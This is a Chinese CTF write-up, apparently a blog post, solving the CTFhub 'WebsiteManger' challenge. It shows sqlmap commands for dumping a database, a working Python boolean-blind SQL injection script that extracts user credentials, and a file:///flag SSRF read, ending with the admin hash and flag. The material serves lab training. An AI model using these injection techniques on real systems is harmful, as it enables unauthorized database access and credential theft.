CTFhub---WebsiteManger

4 篇文章 0 订阅

题目考点

  • 布尔盲注
  • SSRF

思路

进入题目:刷新,图片会更新

在这里插入图片描述
新建标签页打开,有id参数
在这里插入图片描述

使用sqlmap(560+行代码) 进行测试

是否有注入点
先用-u 测试
-u --current-db
critical:
all tested parameters do not appear to be injectable. Try to increase values for ‘–level’/’–risk’ options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option ‘–tamper’ (e.g. ‘–tamper=space2comment’) and/or switch ‘–random-agent’

sqlmap -u  "http://challenge-94b51247b7b2ac6f.sandbox.ctfhub.com:10800/image.php?id=3"  --tamper  space2mysqlblank  --technique=B  --level 5  --current-db --batch

参数说明

-u url,指定一个url链接,必须有?id=1才行
–tamper 绕过WAF和IPS
–technique=TECH 指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用)
–level 5 1-5级
lv2:cookie; lv3:user-agent,refere; lv5:host

cookie:储存在用户本地终端上的数据来辨别用户身份
user-agent:会告诉网站服务器**,访问者是通过什么工具来请求的**,如果是爬虫请求,一般会拒绝,如果是用户浏览器,就会应答。
refere:指示一个请求是从哪里链接过来,那么当一个请求并不是由链接触发产生的,那么自然也就不需要指定这个请求的链接来源。比如浏览器地址栏中输入url地址,不包括refere字段。
host:指明http报文的方向,标识你要请求的网站域名;同一个IP也可以设置多个不同站点,那我访问不同的域名都转发到同一IP,怎么区分这些不同的站点呢,就是用的Host字段,如果服务器后台解析出Host但是服务器上找不到相应的站点,那么这个连接很可能会被丢弃,从而报错。

IP和域名可以是多对多的,一个IP对应多个域名,提供多个服务;而一个域名对应多个IP,提供便利性和安全性,比如CDN。
提示:curl可以修改提交方式-X,-H 客户端地址,来源和浏览器
在这里插入图片描述

data/xml/payloads文件内可以看见各个level发送的payload
–host=HOST 指定http包中的host头参数。
–referer=REFERER 指定http包中的refere字段。
–random-agent 使用随机user-agent进行测试。sqlmap有一个文件中储存了各种各样的user-agent,文件在sqlmap/txt/user-agent.txt
–drop-set-cookie 默认情况下,sqlmap是开启set-cookie功能的,也就是当收到一个含有set-cookie的http包的时候,下次sql会使用新的cookie进行发包,如果使用这条命令,就会关闭这个功能。
–current-db 获取当前数据库

other
–dbms 指定数据库类型,例: --dbms=“MySQL<5.0>” Oracle<11i> Microsoft SQL Server<2005>
–batch Never ask for user input, use the default behavior
批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值。常用来回复y/n,用y回复,和 -r 1.txt post请求 连用。

拖库过程:首先有注入点
–current-db参数获取当前数据库,-u url?id=1 --current-db ----dvwa
–table , 当前数据库下的表,-u url?id=1 -D dvwa --tables-----guest,users
– colunms,当前指定表的列属性,-u ur?"id=1,-D dvwa -T users --columns—列属性获取user,password
正式托库–dump 代表下载–转出
-u url?id=1 -D dvwa -T users, -C user,password --dump

直接编写脚本跑注入就行

跑出用户名和密码

import requests
import string

charset = ",@"+ string.digits + string.ascii_lowercase + string.ascii_uppercase

def r(s):
    s = s.replace(" ", "/**/")
    return s

sql = r("select concat(id,username,password) from users")
result = ""
for i in range(1,50):
    for c in charset:
        cc = ord(c)
        domain = "http://eci-2zeir5o8p6vh6eotta01.cloudeci1.ichunqiu.com"
        url = f"{domain}/image.php?id=-1/**/or/**/(ascii(mid(({sql}),{i},1))={cc})"
        r = requests.get(url)
        if len(r.text) > 1024:
            result += c
            print(result)
            break

在这里插入图片描述

1
admin
7fdf0ce367c2591eb5b0659b1b853d57

在这里插入图片描述
登陆之后有个ssrf,直接file协议读flag就行

输入1测试
在这里插入图片描述
在这里插入图片描述
输入
file:///flag

file协议只能在本地访问
file://—格式,/flag是路径

在这里插入图片描述

flag

ctfhub{82ca4e04ebfa0d0033dfa2ac}

参考资料:

https://www.wolai.com/ctfhub/nVEsRMyGdS9swYsMcat1WB

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值